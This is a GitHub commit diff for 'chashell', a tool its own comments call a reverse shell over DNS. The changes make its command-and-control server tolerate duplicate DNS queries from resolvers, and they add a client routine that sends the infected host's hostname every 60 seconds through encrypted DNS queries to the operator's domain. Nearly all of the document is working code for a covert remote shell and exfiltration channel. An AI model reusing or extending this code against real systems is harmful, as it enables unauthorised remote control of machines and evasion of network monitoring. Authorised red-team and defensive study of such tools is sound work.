Skip to content

Commit 3906bb0

Browse files
author
Nicolas Chatelain
committed
Fix GitHub issue #3 (Multiple DNS Queries), implement InfoPacket messages #4, Protobuf version update.
1 parent 37b44fd commit 3906bb0

File tree

5 files changed

+91
-4
lines changed

5 files changed

+91
-4
lines changed

Gopkg.lock

Lines changed: 3 additions & 3 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

Gopkg.toml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,7 @@
3535

3636
[[constraint]]
3737
name = "github.com/golang/protobuf"
38-
version = "1.2.0"
38+
version = "1.3.1"
3939

4040
[[constraint]]
4141
name = "github.com/miekg/dns"

cmd/server/chaserv.go

Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@ package main
33
import (
44
"bytes"
55
"chashell/lib/crypto"
6+
"chashell/lib/logging"
67
"chashell/lib/protocol"
78
"encoding/hex"
89
"fmt"
@@ -35,6 +36,10 @@ var packetQueue = map[string][]string{}
3536
// Store the sessions information.
3637
var sessionsMap = map[string]*clientInfo{}
3738

39+
// Temporary store the polled query. Some DNS Servers will perform multiples DNS requests for one query.
40+
// We need to send the same query to every requests or the Chashell client will not receive the data.
41+
var pollCache = map[string]*pollTemporaryData{}
42+
3843
type clientInfo struct {
3944
hostname string
4045
heartbeat int64
@@ -48,6 +53,11 @@ type connData struct {
4853
packets map[int32]string
4954
}
5055

56+
type pollTemporaryData struct {
57+
lastseen int64
58+
data string
59+
}
60+
5161
func (ci *clientInfo) getChunk(chunkID int32) connData {
5262
// Return the chunk identifier.
5363
return ci.conn[chunkID]
@@ -116,22 +126,51 @@ func parseQuery(m *dns.Msg) {
116126
// Identify the message type.
117127
switch u := message.Packet.(type) {
118128
case *protocol.Message_Pollquery:
129+
// Check if this DNS poll-request was already performed.
130+
temp, valid := pollCache[string(dataPacketRaw)]
131+
if valid {
132+
log.Println("Duplicated poll query received.")
133+
// Send already in cache data.
134+
answer = temp.data
135+
break
136+
}
137+
119138
// Check if we have data to send.
120139
queue, valid := packetQueue[clientGUID]
121140

122141
if valid && len(queue) > 0 {
123142
answer = queue[0]
143+
// Store answer in cache for DNS servers which are sending multiple queries.
144+
pollCache[string(dataPacketRaw)] = &pollTemporaryData{lastseen: now.Unix(), data: answer}
145+
// Dequeue.
124146
packetQueue[clientGUID] = queue[1:]
125147
}
148+
case *protocol.Message_Infopacket:
149+
session.hostname = string(u.Infopacket.Hostname)
126150

127151
case *protocol.Message_Chunkstart:
152+
// Some DNS Servers will send multiple DNS queries, ignore duplicates.
153+
_, valid := session.conn[u.Chunkstart.Chunkid]
154+
if valid {
155+
log.Printf("Ignoring duplicated Chunkstart : %d\n", u.Chunkstart.Chunkid)
156+
break
157+
}
158+
128159
// We need to allocate a new session in order to store incoming data.
129160
session.conn[u.Chunkstart.Chunkid] = connData{chunkSize: u.Chunkstart.Chunksize, packets: make(map[int32]string)}
130161

162+
131163
case *protocol.Message_Chunkdata:
132164
// Get the storage associated to the chunkId.
133165
connection := session.getChunk(u.Chunkdata.Chunkid)
134166

167+
// Some DNS Servers will send multiple DNS queries, ignore duplicates.
168+
_, valid := connection.packets[u.Chunkdata.Chunknum]
169+
if valid {
170+
log.Printf("Ignoring duplicated Chunkdata : %v\n", u.Chunkdata)
171+
break
172+
}
173+
135174
// Store the data packet.
136175
connection.packets[u.Chunkdata.Chunknum] = string(u.Chunkdata.Packet)
137176

@@ -151,6 +190,7 @@ func parseQuery(m *dns.Msg) {
151190
}
152191
}
153192

193+
154194
default:
155195
fmt.Printf("Unknown message type received : %v\n", u)
156196
}
@@ -198,6 +238,7 @@ func main() {
198238
}
199239
}()
200240

241+
// Timeout checking loop
201242
go func() {
202243
for {
203244
time.Sleep(1 * time.Second)
@@ -214,6 +255,21 @@ func main() {
214255
}
215256
}()
216257

258+
// Poll-cache cleaner
259+
go func() {
260+
for {
261+
time.Sleep(1 * time.Second)
262+
now := time.Now()
263+
for pollData, cache := range pollCache {
264+
if cache.lastseen + 10 < now.Unix() {
265+
logging.Printf("Dropping cached poll query : %v\n", pollData)
266+
// Delete from poll cache list.
267+
delete(pollCache, pollData)
268+
}
269+
}
270+
}
271+
}()
272+
217273
p := prompt.New(executor, Completer, prompt.OptionPrefix("chashell >>> "))
218274
p.Run()
219275
}

lib/transport/polling.go

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@ package transport
33
import (
44
"chashell/lib/logging"
55
"chashell/lib/protocol"
6+
"os"
67
"strings"
78
"time"
89
)
@@ -11,11 +12,19 @@ import (
1112
var packetQueue = make(chan []byte, 100)
1213

1314
func pollRead(stream dnsStream) {
15+
sendInfoPacket(stream)
16+
loopCounter := 0
1417
for {
1518
// Sleep, this is a reverse-shell, not a DNS Stress testing tool.
1619
time.Sleep(200 * time.Millisecond)
1720
// Check for data !
1821
poll(stream)
22+
loopCounter += 1
23+
24+
// Send infoPacket each 60 seconds.
25+
if loopCounter % 300 == 0 {
26+
sendInfoPacket(stream)
27+
}
1928
}
2029
}
2130

@@ -56,3 +65,24 @@ func poll(stream dnsStream) {
5665

5766
}
5867
}
68+
69+
func sendInfoPacket(stream dnsStream){
70+
// Get hostname.
71+
name, err := os.Hostname()
72+
if err != nil {
73+
logging.Println("Could not get hostname.")
74+
return
75+
}
76+
77+
// Create infoPacket containing hostname.
78+
infoQuery := &protocol.Message{
79+
Clientguid: stream.clientGuid,
80+
Packet: &protocol.Message_Infopacket{
81+
Infopacket: &protocol.InfoPacket{Hostname: []byte(name)},
82+
},
83+
}
84+
85+
// Send packet.
86+
pollPacket, err := dnsMarshal(infoQuery, stream.encryptionKey, true)
87+
sendDNSQuery([]byte(pollPacket), stream.targetDomain)
88+
}

proto/chacomm.proto

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,7 @@ message Message {
1111
ChunkStart chunkstart = 2;
1212
ChunkData chunkdata = 3;
1313
PollQuery pollquery = 4;
14+
InfoPacket infopacket = 5;
1415
}
1516
}
1617

0 commit comments

Comments
 (0)